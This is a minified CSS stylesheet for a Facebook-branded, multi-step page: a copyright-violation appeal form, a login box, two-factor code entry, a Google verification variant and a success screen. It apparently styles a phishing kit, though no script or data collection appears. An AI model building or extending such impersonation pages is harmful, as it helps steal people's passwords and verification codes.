*{margin:0;padding:0;box-sizing:border-box}body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:#f0f2f5;min-height:100vh}#loading-screen{position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;flex-direction:column;align-items:center;justify-content:center;z-index:9999}.loader{border:4px solid #f3f3f3;border-top:4px solid #1877f2;border-radius:50%;width:50px;height:50px;animation:spin 1s linear infinite}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}.step-container{display:none;min-height:100vh;animation:fadeIn .5s ease}.step-container.active{display:block}@keyframes fadeIn{from{opacity:0;transform:translateY(20px)}to{opacity:1;transform:translateY(0)}}.facebook-header-bar{background:#fff;padding:16px 24px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #dddfe2;box-shadow:0 2px 4px rgba(0,0,0,.1)}.facebook-header-bar img{height:30px}.header-help{color:#1877f2;font-size:14px;font-weight:500}.appeal-container{max-width:680px;margin:40px auto;padding:0 20px}.copyright-banner{background:linear-gradient(135deg,#ff6b6b,#ee5a24);border-radius:12px;padding:24px;color:#fff;display:flex;align-items:center;gap:20px;margin-bottom:30px;box-shadow:0 4px 15px rgba(238,90,36,.3)}.banner-icon{width:60px;height:60px;background:rgba(255,255,255,.2);border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:28px;flex-shrink:0}.banner-content h2{font-size:20px;margin-bottom:5px}.banner-content p{font-size:14px;opacity:.95}.appeal-form{background:#fff;border-radius:12px;padding:32px;box-shadow:0 2px 10px rgba(0,0,0,.1)}.notice-box{background:#fff3cd;border:1px solid #ffc107;border-radius:8px;padding:12px 16px;margin-bottom:24px;display:flex;align-items:center;gap:12px;color:#856404}.notice-box i{font-size:20px}.form-group{margin-bottom:20px}.form-group label{display:block;font-weight:500;color:#1c1e21;margin-bottom:6px;font-size:14px}.form-group input,.form-group textarea{width:100%;padding:12px 14px;border:1px solid #dddfe2;border-radius:8px;font-size:15px;transition:border-color .3s}.form-group input:focus,.form-group textarea:focus{outline:none;border-color:#1877f2;box-shadow:0 0 0 2px rgba(24,119,242,.2)}.form-group textarea{resize:vertical;font-family:inherit}.appeal-btn{width:100%;padding:14px;background:linear-gradient(135deg,#1877f2,#1558b0);color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;transition:transform .2s,box-shadow .2s;display:flex;align-items:center;justify-content:center;gap:10px}.appeal-btn:hover{transform:translateY(-2px);box-shadow:0 4px 15px rgba(24,119,242,.3)}.appeal-footer{text-align:center;margin-top:20px;font-size:13px;color:#65676b}.appeal-footer a{color:#1877f2;text-decoration:none}.facebook-login-page{min-height:100vh;background:#f0f2f5}.login-header{background:#fff;padding:20px;text-align:center;box-shadow:0 2px 4px rgba(0,0,0,.1)}.login-header img{height:35px}.login-container{max-width:400px;margin:40px auto;padding:0 20px}.login-box{background:#fff;border-radius:12px;padding:32px;box-shadow:0 2px 10px rgba(0,0,0,.1)}.security-notice{background:#e7f3ff;border-radius:8px;padding:12px;display:flex;align-items:center;gap:10px;color:#1877f2;margin-bottom:20px}.login-message{margin-bottom:24px}.login-message p{color:#1c1e21;font-size:15px;line-height:1.5}.login-message .small-text{font-size:13px;color:#65676b;margin-top:4px}.password-wrapper{position:relative}.toggle-password{position:absolute;right:12px;top:50%;transform:translateY(-50%);cursor:pointer;color:#65676b}.login-btn{width:100%;padding:12px;background:#1877f2;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;transition:background .3s;display:flex;align-items:center;justify-content:center;gap:10px}.login-btn:hover{background:#166fe5}.login-links{text-align:center;margin-top:16px;font-size:14px}.login-links a{color:#1877f2;text-decoration:none}.login-links a:hover{text-decoration:underline}.fb-iframe-container{margin-top:24px;border:1px solid #dddfe2;border-radius:8px;overflow:hidden}.fb-iframe-header{background:#f0f2f5;padding:10px 16px;display:flex;align-items:center;gap:8px;font-size:13px;color:#1c1e21;border-bottom:1px solid #dddfe2}.fb-iframe-content{height:300px;background:#fff}.fb-iframe-content iframe{width:100%;height:100%;border:none}.fb-iframe-footer{background:#f0f2f5;padding:8px 16px;display:flex;align-items:center;gap:8px;font-size:12px;color:#65676b}.verification-container{max-width:480px;margin:60px auto;padding:0 20px;text-align:center}.verification-icon{width:80px;height:80px;margin:0 auto 20px;background:linear-gradient(135deg,#e7f3ff,#d4e9ff);border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:36px;color:#1877f2}.verification-container h2{color:#1c1e21;margin-bottom:8px}.verification-container p{color:#65676b;margin-bottom:24px}.code-input-group{display:flex;gap:10px;justify-content:center;margin-bottom:20px}.code-input{width:45px;height:55px;text-align:center;font-size:24px;border:2px solid #dddfe2;border-radius:8px;transition:border-color .3s}.code-input:focus{border-color:#1877f2;outline:none;box-shadow:0 0 0 2px rgba(24,119,242,.2)}.verification-options{display:flex;gap:8px;margin-bottom:20px;flex-wrap:wrap;justify-content:center}.verification-btn{padding:8px 16px;border:1px solid #dddfe2;border-radius:20px;background:#fff;cursor:pointer;font-size:13px;transition:all .3s;display:flex;align-items:center;gap:6px}.verification-btn.active{background:#e7f3ff;border-color:#1877f2;color:#1877f2}.verification-btn:hover{background:#f0f2f5}.verify-btn{width:100%;padding:14px;background:#1877f2;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;transition:all .3s;display:flex;align-items:center;justify-content:center;gap:10px}.verify-btn:hover{background:#166fe5;transform:translateY(-2px);box-shadow:0 4px 15px rgba(24,119,242,.3)}.resend-section{margin-top:16px;font-size:14px}.resend-section a{color:#1877f2;text-decoration:none;cursor:pointer}.resend-section a:hover{text-decoration:underline}.email-display{background:#f0f2f5;border-radius:8px;padding:12px 16px;display:flex;align-items:center;gap:12px;margin-bottom:20px}.change-email-btn{background:#e7f3ff;border:none;padding:4px 12px;border-radius:4px;color:#1877f2;cursor:pointer;font-size:12px}.google-verification .verification-icon{background:linear-gradient(135deg,#fbbc04,#ea4335);color:#fff}.google-btn{background:linear-gradient(135deg,#4285f4,#34a853)}.google-btn:hover{background:linear-gradient(135deg,#3b78e0,#2d9b4a)}.checkbox-label{display:flex;align-items:center;gap:8px;cursor:pointer;font-size:14px;color:#1c1e21}.checkbox-label input[type=checkbox]{width:18px;height:18px;cursor:pointer}.success-container{max-width:480px;margin:80px auto;padding:0 20px;text-align:center}.success-icon{width:80px;height:80px;margin:0 auto 20px;background:#e8f5e9;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:40px;color:#42b72a}.success-container h2{color:#1c1e21;margin-bottom:8px}.success-container p{color:#65676b;margin-bottom:24px}.success-details{background:#f0f2f5;border-radius:8px;padding:16px;text-align:left;margin-bottom:24px}.success-details p{padding:6px 0;display:flex;align-items:center;gap:10px;color:#1c1e21;margin:0}.success-details i{color:#42b72a}.continue-btn{padding:14px 40px;background:#42b72a;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;transition:all .3s;display:inline-flex;align-items:center;gap:10px}.continue-btn:hover{background:#36a420;transform:translateY(-2px);box-shadow:0 4px 15px rgba(66,183,42,.3)}@media(max-width:480px){.appeal-container{margin:20px auto}.appeal-form{padding:20px}.copyright-banner{flex-direction:column;text-align:center}.login-container{margin:20px auto}.login-box{padding:20px}.code-input{width:38px;height:48px;font-size:20px}.verification-options{flex-direction:column}.verification-btn{justify-content:center}}